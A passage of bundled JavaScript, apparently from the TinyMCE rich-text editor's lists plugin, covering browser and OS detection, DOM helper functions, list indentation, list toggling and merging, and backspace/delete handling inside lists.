          /.*?version\/\ ?([0-9]+)\.([0-9]+).*/,
          /.*cpu os ([0-9]+)_([0-9]+).*/,
          /.*cpu iphone os ([0-9]+)_([0-9]+).*/
        ]
      },
      {
        name: 'Android',
        search: checkContains('android'),
        versionRegexes: [/.*?android\ ?([0-9]+)\.([0-9]+).*/]
      },
      {
        name: 'OSX',
        search: checkContains('os x'),
        versionRegexes: [/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]
      },
      {
        name: 'Linux',
        search: checkContains('linux'),
        versionRegexes: []
      },
      {
        name: 'Solaris',
        search: checkContains('sunos'),
        versionRegexes: []
      },
      {
        name: 'FreeBSD',
        search: checkContains('freebsd'),
        versionRegexes: []
      }
    ];
    var PlatformInfo = {
      browsers: constant(browsers),
      oses: constant(oses)
    };

    var detect$2 = function (userAgent) {
      var browsers = PlatformInfo.browsers();
      var oses = PlatformInfo.oses();
      var browser = UaString.detectBrowser(browsers, userAgent).fold(Browser.unknown, Browser.nu);
      var os = UaString.detectOs(oses, userAgent).fold(OperatingSystem.unknown, OperatingSystem.nu);
      var deviceType = DeviceType(os, browser, userAgent);
      return {
        browser: browser,
        os: os,
        deviceType: deviceType
      };
    };
    var PlatformDetection = { detect: detect$2 };

    var detect$3 = cached(function () {
      var userAgent = domGlobals.navigator.userAgent;
      return PlatformDetection.detect(userAgent);
    });
    var PlatformDetection$1 = { detect: detect$3 };

    var ATTRIBUTE = domGlobals.Node.ATTRIBUTE_NODE;
    var CDATA_SECTION = domGlobals.Node.CDATA_SECTION_NODE;
    var COMMENT = domGlobals.Node.COMMENT_NODE;
    var DOCUMENT = domGlobals.Node.DOCUMENT_NODE;
    var DOCUMENT_TYPE = domGlobals.Node.DOCUMENT_TYPE_NODE;
    var DOCUMENT_FRAGMENT = domGlobals.Node.DOCUMENT_FRAGMENT_NODE;
    var ELEMENT = domGlobals.Node.ELEMENT_NODE;
    var TEXT = domGlobals.Node.TEXT_NODE;
    var PROCESSING_INSTRUCTION = domGlobals.Node.PROCESSING_INSTRUCTION_NODE;
    var ENTITY_REFERENCE = domGlobals.Node.ENTITY_REFERENCE_NODE;
    var ENTITY = domGlobals.Node.ENTITY_NODE;
    var NOTATION = domGlobals.Node.NOTATION_NODE;

    var ELEMENT$1 = ELEMENT;
    var is = function (element, selector) {
      var dom = element.dom();
      if (dom.nodeType !== ELEMENT$1) {
        return false;
      } else {
        var elem = dom;
        if (elem.matches !== undefined) {
          return elem.matches(selector);
        } else if (elem.msMatchesSelector !== undefined) {
          return elem.msMatchesSelector(selector);
        } else if (elem.webkitMatchesSelector !== undefined) {
          return elem.webkitMatchesSelector(selector);
        } else if (elem.mozMatchesSelector !== undefined) {
          return elem.mozMatchesSelector(selector);
        } else {
          throw new Error('Browser lacks native selectors');
        }
      }
    };

    var eq = function (e1, e2) {
      return e1.dom() === e2.dom();
    };
    var regularContains = function (e1, e2) {
      var d1 = e1.dom();
      var d2 = e2.dom();
      return d1 === d2 ? false : d1.contains(d2);
    };
    var ieContains = function (e1, e2) {
      return Node.documentPositionContainedBy(e1.dom(), e2.dom());
    };
    var browser = PlatformDetection$1.detect().browser;
    var contains$1 = browser.isIE() ? ieContains : regularContains;
    var is$1 = is;

    var parent = function (element) {
      return Option.from(element.dom().parentNode).map(Element.fromDom);
    };
    var children = function (element) {
      return map(element.dom().childNodes, Element.fromDom);
    };
    var child = function (element, index) {
      var cs = element.dom().childNodes;
      return Option.from(cs[index]).map(Element.fromDom);
    };
    var firstChild = function (element) {
      return child(element, 0);
    };
    var lastChild = function (element) {
      return child(element, element.dom().childNodes.length - 1);
    };
    var spot = Immutable('element', 'offset');

    var before = function (marker, element) {
      var parent$1 = parent(marker);
      parent$1.each(function (v) {
        v.dom().insertBefore(element.dom(), marker.dom());
      });
    };
    var append = function (parent, element) {
      parent.dom().appendChild(element.dom());
    };

    var before$1 = function (marker, elements) {
      each(elements, function (x) {
        before(marker, x);
      });
    };
    var append$1 = function (parent, elements) {
      each(elements, function (x) {
        append(parent, x);
      });
    };

    var remove = function (element) {
      var dom = element.dom();
      if (dom.parentNode !== null) {
        dom.parentNode.removeChild(dom);
      }
    };

    var name = function (element) {
      var r = element.dom().nodeName;
      return r.toLowerCase();
    };
    var type = function (element) {
      return element.dom().nodeType;
    };
    var isType$1 = function (t) {
      return function (element) {
        return type(element) === t;
      };
    };
    var isElement = isType$1(ELEMENT);

    var rawSet = function (dom, key, value) {
      if (isString(value) || isBoolean(value) || isNumber(value)) {
        dom.setAttribute(key, value + '');
      } else {
        domGlobals.console.error('Invalid call to Attr.set. Key ', key, ':: Value ', value, ':: Element ', dom);
        throw new Error('Attribute value was not simple');
      }
    };
    var setAll = function (element, attrs) {
      var dom = element.dom();
      each$1(attrs, function (v, k) {
        rawSet(dom, k, v);
      });
    };
    var clone = function (element) {
      return foldl(element.dom().attributes, function (acc, attr) {
        acc[attr.name] = attr.value;
        return acc;
      }, {});
    };

    var isSupported = function (dom) {
      return dom.style !== undefined && isFunction(dom.style.getPropertyValue);
    };

    var internalSet = function (dom, property, value) {
      if (!isString(value)) {
        domGlobals.console.error('Invalid call to CSS.set. Property ', property, ':: Value ', value, ':: Element ', dom);
        throw new Error('CSS value must be a string: ' + value);
      }
      if (isSupported(dom)) {
        dom.style.setProperty(property, value);
      }
    };
    var set = function (element, property, value) {
      var dom = element.dom();
      internalSet(dom, property, value);
    };

    var clone$1 = function (original, isDeep) {
      return Element.fromDom(original.dom().cloneNode(isDeep));
    };
    var deep = function (original) {
      return clone$1(original, true);
    };
    var shallowAs = function (original, tag) {
      var nu = Element.fromTag(tag);
      var attributes = clone(original);
      setAll(nu, attributes);
      return nu;
    };
    var mutate = function (original, tag) {
      var nu = shallowAs(original, tag);
      before(original, nu);
      var children$1 = children(original);
      append$1(nu, children$1);
      remove(original);
      return nu;
    };

    var joinSegment = function (parent, child) {
      append(parent.item, child.list);
    };
    var joinSegments = function (segments) {
      for (var i = 1; i < segments.length; i++) {
        joinSegment(segments[i - 1], segments[i]);
      }
    };
    var appendSegments = function (head$1, tail) {
      lift2(last(head$1), head(tail), joinSegment);
    };
    var createSegment = function (scope, listType) {
      var segment = {
        list: Element.fromTag(listType, scope),
        item: Element.fromTag('li', scope)
      };
      append(segment.list, segment.item);
      return segment;
    };
    var createSegments = function (scope, entry, size) {
      var segments = [];
      for (var i = 0; i < size; i++) {
        segments.push(createSegment(scope, entry.listType));
      }
      return segments;
    };
    var populateSegments = function (segments, entry) {
      for (var i = 0; i < segments.length - 1; i++) {
        set(segments[i].item, 'list-style-type', 'none');
      }
      last(segments).each(function (segment) {
        setAll(segment.list, entry.listAttributes);
        setAll(segment.item, entry.itemAttributes);
        append$1(segment.item, entry.content);
      });
    };
    var normalizeSegment = function (segment, entry) {
      if (name(segment.list) !== entry.listType) {
        segment.list = mutate(segment.list, entry.listType);
      }
      setAll(segment.list, entry.listAttributes);
    };
    var createItem = function (scope, attr, content) {
      var item = Element.fromTag('li', scope);
      setAll(item, attr);
      append$1(item, content);
      return item;
    };
    var appendItem = function (segment, item) {
      append(segment.list, item);
      segment.item = item;
    };
    var writeShallow = function (scope, cast, entry) {
      var newCast = cast.slice(0, entry.depth);
      last(newCast).each(function (segment) {
        var item = createItem(scope, entry.itemAttributes, entry.content);
        appendItem(segment, item);
        normalizeSegment(segment, entry);
      });
      return newCast;
    };
    var writeDeep = function (scope, cast, entry) {
      var segments = createSegments(scope, entry, entry.depth - cast.length);
      joinSegments(segments);
      populateSegments(segments, entry);
      appendSegments(cast, segments);
      return cast.concat(segments);
    };
    var composeList = function (scope, entries) {
      var cast = foldl(entries, function (cast, entry) {
        return entry.depth > cast.length ? writeDeep(scope, cast, entry) : writeShallow(scope, cast, entry);
      }, []);
      return head(cast).map(function (segment) {
        return segment.list;
      });
    };

    var isList$1 = function (el) {
      return is$1(el, 'OL,UL');
    };
    var hasFirstChildList = function (el) {
      return firstChild(el).map(isList$1).getOr(false);
    };
    var hasLastChildList = function (el) {
      return lastChild(el).map(isList$1).getOr(false);
    };

    var isIndented = function (entry) {
      return entry.depth > 0;
    };
    var isSelected = function (entry) {
      return entry.isSelected;
    };
    var cloneItemContent = function (li) {
      var children$1 = children(li);
      var content = hasLastChildList(li) ? children$1.slice(0, -1) : children$1;
      return map(content, deep);
    };
    var createEntry = function (li, depth, isSelected) {
      return parent(li).filter(isElement).map(function (list) {
        return {
          depth: depth,
          isSelected: isSelected,
          content: cloneItemContent(li),
          itemAttributes: clone(li),
          listAttributes: clone(list),
          listType: name(list)
        };
      });
    };

    var indentEntry = function (indentation, entry) {
      switch (indentation) {
      case 'Indent':
        entry.depth++;
        break;
      case 'Outdent':
        entry.depth--;
        break;
      case 'Flatten':
        entry.depth = 0;
      }
    };

    var hasOwnProperty = Object.prototype.hasOwnProperty;
    var shallow = function (old, nu) {
      return nu;
    };
    var baseMerge = function (merger) {
      return function () {
        var objects = new Array(arguments.length);
        for (var i = 0; i < objects.length; i++) {
          objects[i] = arguments[i];
        }
        if (objects.length === 0) {
          throw new Error('Can\'t merge zero objects');
        }
        var ret = {};
        for (var j = 0; j < objects.length; j++) {
          var curObject = objects[j];
          for (var key in curObject) {
            if (hasOwnProperty.call(curObject, key)) {
              ret[key] = merger(ret[key], curObject[key]);
            }
          }
        }
        return ret;
      };
    };
    var merge = baseMerge(shallow);

    var cloneListProperties = function (target, source) {
      target.listType = source.listType;
      target.listAttributes = merge({}, source.listAttributes);
    };
    var previousSiblingEntry = function (entries, start) {
      var depth = entries[start].depth;
      for (var i = start - 1; i >= 0; i--) {
        if (entries[i].depth === depth) {
          return Option.some(entries[i]);
        }
        if (entries[i].depth < depth) {
          break;
        }
      }
      return Option.none();
    };
    var normalizeEntries = function (entries) {
      each(entries, function (entry, i) {
        previousSiblingEntry(entries, i).each(function (matchingEntry) {
          cloneListProperties(entry, matchingEntry);
        });
      });
    };

    var Cell = function (initial) {
      var value = initial;
      var get = function () {
        return value;
      };
      var set = function (v) {
        value = v;
      };
      var clone = function () {
        return Cell(get());
      };
      return {
        get: get,
        set: set,
        clone: clone
      };
    };

    var parseItem = function (depth, itemSelection, selectionState, item) {
      return firstChild(item).filter(isList$1).fold(function () {
        itemSelection.each(function (selection) {
          if (eq(selection.start, item)) {
            selectionState.set(true);
          }
        });
        var currentItemEntry = createEntry(item, depth, selectionState.get());
        itemSelection.each(function (selection) {
          if (eq(selection.end, item)) {
            selectionState.set(false);
          }
        });
        var childListEntries = lastChild(item).filter(isList$1).map(function (list) {
          return parseList(depth, itemSelection, selectionState, list);
        }).getOr([]);
        return currentItemEntry.toArray().concat(childListEntries);
      }, function (list) {
        return parseList(depth, itemSelection, selectionState, list);
      });
    };
    var parseList = function (depth, itemSelection, selectionState, list) {
      return bind(children(list), function (element) {
        var parser = isList$1(element) ? parseList : parseItem;
        var newDepth = depth + 1;
        return parser(newDepth, itemSelection, selectionState, element);
      });
    };
    var parseLists = function (lists, itemSelection) {
      var selectionState = Cell(false);
      var initialDepth = 0;
      return map(lists, function (list) {
        return {
          sourceList: list,
          entries: parseList(initialDepth, itemSelection, selectionState, list)
        };
      });
    };

    var global$8 = tinymce.util.Tools.resolve('tinymce.Env');

    var createTextBlock = function (editor, contentNode) {
      var dom = editor.dom;
      var blockElements = editor.schema.getBlockElements();
      var fragment = dom.createFragment();
      var node, textBlock, blockName, hasContentNode;
      if (editor.settings.forced_root_block) {
        blockName = editor.settings.forced_root_block;
      }
      if (blockName) {
        textBlock = dom.create(blockName);
        if (textBlock.tagName === editor.settings.forced_root_block) {
          dom.setAttribs(textBlock, editor.settings.forced_root_block_attrs);
        }
        if (!NodeType.isBlock(contentNode.firstChild, blockElements)) {
          fragment.appendChild(textBlock);
        }
      }
      if (contentNode) {
        while (node = contentNode.firstChild) {
          var nodeName = node.nodeName;
          if (!hasContentNode && (nodeName !== 'SPAN' || node.getAttribute('data-mce-type') !== 'bookmark')) {
            hasContentNode = true;
          }
          if (NodeType.isBlock(node, blockElements)) {
            fragment.appendChild(node);
            textBlock = null;
          } else {
            if (blockName) {
              if (!textBlock) {
                textBlock = dom.create(blockName);
                fragment.appendChild(textBlock);
              }
              textBlock.appendChild(node);
            } else {
              fragment.appendChild(node);
            }
          }
        }
      }
      if (!editor.settings.forced_root_block) {
        fragment.appendChild(dom.create('br'));
      } else {
        if (!hasContentNode && (!global$8.ie || global$8.ie > 10)) {
          textBlock.appendChild(dom.create('br', { 'data-mce-bogus': '1' }));
        }
      }
      return fragment;
    };

    var outdentedComposer = function (editor, entries) {
      return map(entries, function (entry) {
        var content = fromElements(entry.content);
        return Element.fromDom(createTextBlock(editor, content.dom()));
      });
    };
    var indentedComposer = function (editor, entries) {
      normalizeEntries(entries);
      return composeList(editor.contentDocument, entries).toArray();
    };
    var composeEntries = function (editor, entries) {
      return bind(groupBy(entries, isIndented), function (entries) {
        var groupIsIndented = head(entries).map(isIndented).getOr(false);
        return groupIsIndented ? indentedComposer(editor, entries) : outdentedComposer(editor, entries);
      });
    };
    var indentSelectedEntries = function (entries, indentation) {
      each(filter(entries, isSelected), function (entry) {
        return indentEntry(indentation, entry);
      });
    };
    var getItemSelection = function (editor) {
      var selectedListItems = map(Selection.getSelectedListItems(editor), Element.fromDom);
      return lift2(find(selectedListItems, not(hasFirstChildList)), find(reverse(selectedListItems), not(hasFirstChildList)), function (start, end) {
        return {
          start: start,
          end: end
        };
      });
    };
    var listsIndentation = function (editor, lists, indentation) {
      var entrySets = parseLists(lists, getItemSelection(editor));
      each(entrySets, function (entrySet) {
        indentSelectedEntries(entrySet.entries, indentation);
        before$1(entrySet.sourceList, composeEntries(editor, entrySet.entries));
        remove(entrySet.sourceList);
      });
    };

    var DOM$1 = global$6.DOM;
    var splitList = function (editor, ul, li) {
      var tmpRng, fragment, bookmarks, node, newBlock;
      var removeAndKeepBookmarks = function (targetNode) {
        global$5.each(bookmarks, function (node) {
          targetNode.parentNode.insertBefore(node, li.parentNode);
        });
        DOM$1.remove(targetNode);
      };
      bookmarks = DOM$1.select('span[data-mce-type="bookmark"]', ul);
      newBlock = createTextBlock(editor, li);
      tmpRng = DOM$1.createRng();
      tmpRng.setStartAfter(li);
      tmpRng.setEndAfter(ul);
      fragment = tmpRng.extractContents();
      for (node = fragment.firstChild; node; node = node.firstChild) {
        if (node.nodeName === 'LI' && editor.dom.isEmpty(node)) {
          DOM$1.remove(node);
          break;
        }
      }
      if (!editor.dom.isEmpty(fragment)) {
        DOM$1.insertAfter(fragment, ul);
      }
      DOM$1.insertAfter(newBlock, ul);
      if (NodeType.isEmpty(editor.dom, li.parentNode)) {
        removeAndKeepBookmarks(li.parentNode);
      }
      DOM$1.remove(li);
      if (NodeType.isEmpty(editor.dom, ul)) {
        DOM$1.remove(ul);
      }
    };
    var SplitList = { splitList: splitList };

    var outdentDlItem = function (editor, item) {
      if (is$1(item, 'dd')) {
        mutate(item, 'dt');
      } else if (is$1(item, 'dt')) {
        parent(item).each(function (dl) {
          return SplitList.splitList(editor, dl.dom(), item.dom());
        });
      }
    };
    var indentDlItem = function (item) {
      if (is$1(item, 'dt')) {
        mutate(item, 'dd');
      }
    };
    var dlIndentation = function (editor, indentation, dlItems) {
      if (indentation === 'Indent') {
        each(dlItems, indentDlItem);
      } else {
        each(dlItems, function (item) {
          return outdentDlItem(editor, item);
        });
      }
    };

    var selectionIndentation = function (editor, indentation) {
      var lists = map(Selection.getSelectedListRoots(editor), Element.fromDom);
      var dlItems = map(Selection.getSelectedDlItems(editor), Element.fromDom);
      var isHandled = false;
      if (lists.length || dlItems.length) {
        var bookmark = editor.selection.getBookmark();
        listsIndentation(editor, lists, indentation);
        dlIndentation(editor, indentation, dlItems);
        editor.selection.moveToBookmark(bookmark);
        editor.selection.setRng(Range.normalizeRange(editor.selection.getRng()));
        editor.nodeChanged();
        isHandled = true;
      }
      return isHandled;
    };
    var indentListSelection = function (editor) {
      return selectionIndentation(editor, 'Indent');
    };
    var outdentListSelection = function (editor) {
      return selectionIndentation(editor, 'Outdent');
    };
    var flattenListSelection = function (editor) {
      return selectionIndentation(editor, 'Flatten');
    };

    var updateListStyle = function (dom, el, detail) {
      var type = detail['list-style-type'] ? detail['list-style-type'] : null;
      dom.setStyle(el, 'list-style-type', type);
    };
    var setAttribs = function (elm, attrs) {
      global$5.each(attrs, function (value, key) {
        elm.setAttribute(key, value);
      });
    };
    var updateListAttrs = function (dom, el, detail) {
      setAttribs(el, detail['list-attributes']);
      global$5.each(dom.select('li', el), function (li) {
        setAttribs(li, detail['list-item-attributes']);
      });
    };
    var updateListWithDetails = function (dom, el, detail) {
      updateListStyle(dom, el, detail);
      updateListAttrs(dom, el, detail);
    };
    var removeStyles = function (dom, element, styles) {
      global$5.each(styles, function (style) {
        var _a;
        return dom.setStyle(element, (_a = {}, _a[style] = '', _a));
      });
    };
    var getEndPointNode = function (editor, rng, start, root) {
      var container, offset;
      container = rng[start ? 'startContainer' : 'endContainer'];
      offset = rng[start ? 'startOffset' : 'endOffset'];
      if (container.nodeType === 1) {
        container = container.childNodes[Math.min(offset, container.childNodes.length - 1)] || container;
      }
      if (!start && NodeType.isBr(container.nextSibling)) {
        container = container.nextSibling;
      }
      while (container.parentNode !== root) {
        if (NodeType.isTextBlock(editor, container)) {
          return container;
        }
        if (/^(TD|TH)$/.test(container.parentNode.nodeName)) {
          return container;
        }
        container = container.parentNode;
      }
      return container;
    };
    var getSelectedTextBlocks = function (editor, rng, root) {
      var textBlocks = [], dom = editor.dom;
      var startNode = getEndPointNode(editor, rng, true, root);
      var endNode = getEndPointNode(editor, rng, false, root);
      var block;
      var siblings = [];
      for (var node = startNode; node; node = node.nextSibling) {
        siblings.push(node);
        if (node === endNode) {
          break;
        }
      }
      global$5.each(siblings, function (node) {
        if (NodeType.isTextBlock(editor, node)) {
          textBlocks.push(node);
          block = null;
          return;
        }
        if (dom.isBlock(node) || NodeType.isBr(node)) {
          if (NodeType.isBr(node)) {
            dom.remove(node);
          }
          block = null;
          return;
        }
        var nextSibling = node.nextSibling;
        if (global$4.isBookmarkNode(node)) {
          if (NodeType.isTextBlock(editor, nextSibling) || !nextSibling && node.parentNode === root) {
            block = null;
            return;
          }
        }
        if (!block) {
          block = dom.create('p');
          node.parentNode.insertBefore(block, node);
          textBlocks.push(block);
        }
        block.appendChild(node);
      });
      return textBlocks;
    };
    var hasCompatibleStyle = function (dom, sib, detail) {
      var sibStyle = dom.getStyle(sib, 'list-style-type');
      var detailStyle = detail ? detail['list-style-type'] : '';
      detailStyle = detailStyle === null ? '' : detailStyle;
      return sibStyle === detailStyle;
    };
    var applyList = function (editor, listName, detail) {
      if (detail === void 0) {
        detail = {};
      }
      var rng = editor.selection.getRng(true);
      var bookmark;
      var listItemName = 'LI';
      var root = Selection.getClosestListRootElm(editor, editor.selection.getStart(true));
      var dom = editor.dom;
      if (dom.getContentEditable(editor.selection.getNode()) === 'false') {
        return;
      }
      listName = listName.toUpperCase();
      if (listName === 'DL') {
        listItemName = 'DT';
      }
      bookmark = Bookmark.createBookmark(rng);
      global$5.each(getSelectedTextBlocks(editor, rng, root), function (block) {
        var listBlock, sibling;
        sibling = block.previousSibling;
        if (sibling && NodeType.isListNode(sibling) && sibling.nodeName === listName && hasCompatibleStyle(dom, sibling, detail)) {
          listBlock = sibling;
          block = dom.rename(block, listItemName);
          sibling.appendChild(block);
        } else {
          listBlock = dom.create(listName);
          block.parentNode.insertBefore(listBlock, block);
          listBlock.appendChild(block);
          block = dom.rename(block, listItemName);
        }
        removeStyles(dom, block, [
          'margin',
          'margin-right',
          'margin-bottom',
          'margin-left',
          'margin-top',
          'padding',
          'padding-right',
          'padding-bottom',
          'padding-left',
          'padding-top'
        ]);
        updateListWithDetails(dom, listBlock, detail);
        mergeWithAdjacentLists(editor.dom, listBlock);
      });
      editor.selection.setRng(Bookmark.resolveBookmark(bookmark));
    };
    var isValidLists = function (list1, list2) {
      return list1 && list2 && NodeType.isListNode(list1) && list1.nodeName === list2.nodeName;
    };
    var hasSameListStyle = function (dom, list1, list2) {
      var targetStyle = dom.getStyle(list1, 'list-style-type', true);
      var style = dom.getStyle(list2, 'list-style-type', true);
      return targetStyle === style;
    };
    var hasSameClasses = function (elm1, elm2) {
      return elm1.className === elm2.className;
    };
    var shouldMerge = function (dom, list1, list2) {
      return isValidLists(list1, list2) && hasSameListStyle(dom, list1, list2) && hasSameClasses(list1, list2);
    };
    var mergeWithAdjacentLists = function (dom, listBlock) {
      var sibling, node;
      sibling = listBlock.nextSibling;
      if (shouldMerge(dom, listBlock, sibling)) {
        while (node = sibling.firstChild) {
          listBlock.appendChild(node);
        }
        dom.remove(sibling);
      }
      sibling = listBlock.previousSibling;
      if (shouldMerge(dom, listBlock, sibling)) {
        while (node = sibling.lastChild) {
          listBlock.insertBefore(node, listBlock.firstChild);
        }
        dom.remove(sibling);
      }
    };
    var updateList = function (dom, list, listName, detail) {
      if (list.nodeName !== listName) {
        var newList = dom.rename(list, listName);
        updateListWithDetails(dom, newList, detail);
      } else {
        updateListWithDetails(dom, list, detail);
      }
    };
    var toggleMultipleLists = function (editor, parentList, lists, listName, detail) {
      if (parentList.nodeName === listName && !hasListStyleDetail(detail)) {
        flattenListSelection(editor);
      } else {
        var bookmark = Bookmark.createBookmark(editor.selection.getRng(true));
        global$5.each([parentList].concat(lists), function (elm) {
          updateList(editor.dom, elm, listName, detail);
        });
        editor.selection.setRng(Bookmark.resolveBookmark(bookmark));
      }
    };
    var hasListStyleDetail = function (detail) {
      return 'list-style-type' in detail;
    };
    var toggleSingleList = function (editor, parentList, listName, detail) {
      if (parentList === editor.getBody()) {
        return;
      }
      if (parentList) {
        if (parentList.nodeName === listName && !hasListStyleDetail(detail)) {
          flattenListSelection(editor);
        } else {
          var bookmark = Bookmark.createBookmark(editor.selection.getRng(true));
          updateListWithDetails(editor.dom, parentList, detail);
          mergeWithAdjacentLists(editor.dom, editor.dom.rename(parentList, listName));
          editor.selection.setRng(Bookmark.resolveBookmark(bookmark));
        }
      } else {
        applyList(editor, listName, detail);
      }
    };
    var toggleList = function (editor, listName, detail) {
      var parentList = Selection.getParentList(editor);
      var selectedSubLists = Selection.getSelectedSubLists(editor);
      detail = detail ? detail : {};
      if (parentList && selectedSubLists.length > 0) {
        toggleMultipleLists(editor, parentList, selectedSubLists, listName, detail);
      } else {
        toggleSingleList(editor, parentList, listName, detail);
      }
    };
    var ToggleList = {
      toggleList: toggleList,
      mergeWithAdjacentLists: mergeWithAdjacentLists
    };

    var DOM$2 = global$6.DOM;
    var normalizeList = function (dom, ul) {
      var sibling;
      var parentNode = ul.parentNode;
      if (parentNode.nodeName === 'LI' && parentNode.firstChild === ul) {
        sibling = parentNode.previousSibling;
        if (sibling && sibling.nodeName === 'LI') {
          sibling.appendChild(ul);
          if (NodeType.isEmpty(dom, parentNode)) {
            DOM$2.remove(parentNode);
          }
        } else {
          DOM$2.setStyle(parentNode, 'listStyleType', 'none');
        }
      }
      if (NodeType.isListNode(parentNode)) {
        sibling = parentNode.previousSibling;
        if (sibling && sibling.nodeName === 'LI') {
          sibling.appendChild(ul);
        }
      }
    };
    var normalizeLists = function (dom, element) {
      global$5.each(global$5.grep(dom.select('ol,ul', element)), function (ul) {
        normalizeList(dom, ul);
      });
    };
    var NormalizeLists = {
      normalizeList: normalizeList,
      normalizeLists: normalizeLists
    };

    var findNextCaretContainer = function (editor, rng, isForward, root) {
      var node = rng.startContainer;
      var offset = rng.startOffset;
      var nonEmptyBlocks, walker;
      if (node.nodeType === 3 && (isForward ? offset < node.data.length : offset > 0)) {
        return node;
      }
      nonEmptyBlocks = editor.schema.getNonEmptyElements();
      if (node.nodeType === 1) {
        node = global$1.getNode(node, offset);
      }
      walker = new global$2(node, root);
      if (isForward) {
        if (NodeType.isBogusBr(editor.dom, node)) {
          walker.next();
        }
      }
      while (node = walker[isForward ? 'next' : 'prev2']()) {
        if (node.nodeName === 'LI' && !node.hasChildNodes()) {
          return node;
        }
        if (nonEmptyBlocks[node.nodeName]) {
          return node;
        }
        if (node.nodeType === 3 && node.data.length > 0) {
          return node;
        }
      }
    };
    var hasOnlyOneBlockChild = function (dom, elm) {
      var childNodes = elm.childNodes;
      return childNodes.length === 1 && !NodeType.isListNode(childNodes[0]) && dom.isBlock(childNodes[0]);
    };
    var unwrapSingleBlockChild = function (dom, elm) {
      if (hasOnlyOneBlockChild(dom, elm)) {
        dom.remove(elm.firstChild, true);
      }
    };
    var moveChildren = function (dom, fromElm, toElm) {
      var node, targetElm;
      targetElm = hasOnlyOneBlockChild(dom, toElm) ? toElm.firstChild : toElm;
      unwrapSingleBlockChild(dom, fromElm);
      if (!NodeType.isEmpty(dom, fromElm, true)) {
        while (node = fromElm.firstChild) {
          targetElm.appendChild(node);
        }
      }
    };
    var mergeLiElements = function (dom, fromElm, toElm) {
      var node, listNode;
      var ul = fromElm.parentNode;
      if (!NodeType.isChildOfBody(dom, fromElm) || !NodeType.isChildOfBody(dom, toElm)) {
        return;
      }
      if (NodeType.isListNode(toElm.lastChild)) {
        listNode = toElm.lastChild;
      }
      if (ul === toElm.lastChild) {
        if (NodeType.isBr(ul.previousSibling)) {
          dom.remove(ul.previousSibling);
        }
      }
      node = toElm.lastChild;
      if (node && NodeType.isBr(node) && fromElm.hasChildNodes()) {
        dom.remove(node);
      }
      if (NodeType.isEmpty(dom, toElm, true)) {
        dom.$(toElm).empty();
      }
      moveChildren(dom, fromElm, toElm);
      if (listNode) {
        toElm.appendChild(listNode);
      }
      var contains = contains$1(Element.fromDom(toElm), Element.fromDom(fromElm));
      var nestedLists = contains ? dom.getParents(fromElm, NodeType.isListNode, toElm) : [];
      dom.remove(fromElm);
      each(nestedLists, function (list) {
        if (NodeType.isEmpty(dom, list) && list !== dom.getRoot()) {
          dom.remove(list);
        }
      });
    };
    var mergeIntoEmptyLi = function (editor, fromLi, toLi) {
      editor.dom.$(toLi).empty();
      mergeLiElements(editor.dom, fromLi, toLi);
      editor.selection.setCursorLocation(toLi);
    };
    var mergeForward = function (editor, rng, fromLi, toLi) {
      var dom = editor.dom;
      if (dom.isEmpty(toLi)) {
        mergeIntoEmptyLi(editor, fromLi, toLi);
      } else {
        var bookmark = Bookmark.createBookmark(rng);
        mergeLiElements(dom, fromLi, toLi);
        editor.selection.setRng(Bookmark.resolveBookmark(bookmark));
      }
    };
    var mergeBackward = function (editor, rng, fromLi, toLi) {
      var bookmark = Bookmark.createBookmark(rng);
      mergeLiElements(editor.dom, fromLi, toLi);
      var resolvedBookmark = Bookmark.resolveBookmark(bookmark);
      editor.selection.setRng(resolvedBookmark);
    };
    var backspaceDeleteFromListToListCaret = function (editor, isForward) {
      var dom = editor.dom, selection = editor.selection;
      var selectionStartElm = selection.getStart();
      var root = Selection.getClosestListRootElm(editor, selectionStartElm);
      var li = dom.getParent(selection.getStart(), 'LI', root);
      var ul, rng, otherLi;
      if (li) {
        ul = li.parentNode;
        if (ul === editor.getBody() && NodeType.isEmpty(dom, ul)) {
          return true;
        }
        rng = Range.normalizeRange(selection.getRng(true));
        otherLi = dom.getParent(findNextCaretContainer(editor, rng, isForward, root), 'LI', root);
        if (otherLi && otherLi !== li) {
          if (isForward) {
            mergeForward(editor, rng, otherLi, li);
          } else {
            mergeBackward(editor, rng, li, otherLi);
          }
          return true;
        } else if (!otherLi) {
          if (!isForward) {
            flattenListSelection(editor);
            return true;
          }
        }
      }
      return false;
    };
    var removeBlock = function (dom, block, root) {
      var parentBlock = dom.getParent(block.parentNode, dom.isBlock, root);
      dom.remove(block);
      if (parentBlock && dom.isEmpty(parentBlock)) {
        dom.remove(parentBlock);
      }
    };
    var backspaceDeleteIntoListCaret = function (editor, isForward) {
      var dom = editor.dom;
      var selectionStartElm = editor.selection.getStart();
      var root = Selection.getClosestListRootElm(editor, selectionStartElm);
      var block = dom.getParent(selectionStartElm, dom.isBlock, root);
      if (block && dom.isEmpty(block)) {
        var rng = Range.normalizeRange(editor.selection.getRng(true));
        var otherLi_1 = dom.getParent(findNextCaretContainer(editor, rng, isForward, root), 'LI', root);
        if (otherLi_1) {
          editor.undoManager.transact(function () {
            removeBlock(dom, block, root);
            ToggleList.mergeWithAdjacentLists(dom, otherLi_1.parentNode);
            editor.selection.select(otherLi_1, true);
            editor.selection.collapse(isForward);
          });
          return true;
        }
      }
      return false;
    };
    var backspaceDeleteCaret = function (editor, isForward) {
      return backspaceDeleteFromListToListCaret(editor, isForward) || backspaceDeleteIntoListCaret(editor, isForward);
    };
    var backspaceDeleteRange = function (editor) {
      var selectionStartElm = editor.selection.getStart();
      var root = Selection.getClosestListRootElm(editor, selectionStartElm);
      var startListParent = editor.dom.getParent(selectionStartElm, 'LI,DT,DD', root);
      if (startListParent || Selection.getSelectedListItems(editor).length > 0) {
        editor.undoManager.transact(function () {
          editor.execCommand('Delete');
          NormalizeLists.normalizeLists(editor.dom, editor.getBody());
        });
        return true;
      }
      return false;
    };
    var backspaceDelete = function (editor, isForward) {
      return editor.selection.isCollapsed() ? backspaceDeleteCaret(editor, isForward) : backspaceDeleteRange(editor);
    };
    var setup = function (editor) {
      editor.on('keydown', function (e) {
        if (e.keyCode === global$3.BACKSPACE) {
          if (backspaceDelete(editor, false)) {
            e.preventDefault();
          }
        } else if (e.keyCode === global$3.DELETE) {
          if (backspaceDelete(editor, true)) {
            e.preventDefault();
          }
        }
      });
    };
    var Delete = {
      setup: setup,
      backspaceDelete: backspaceDelete
    };

    var get = function (editor) {
      return {
        backspaceDelete: function (isForward) {
          Delete.backspaceDelete(editor, isForward);
        }
      };
    };
    var Api = { get: get };

    var queryListCommandState = function (editor, listName) {
      return function () {
        var parentList = editor.dom.getParent(editor.selection.getStart(), 'UL,OL,DL');
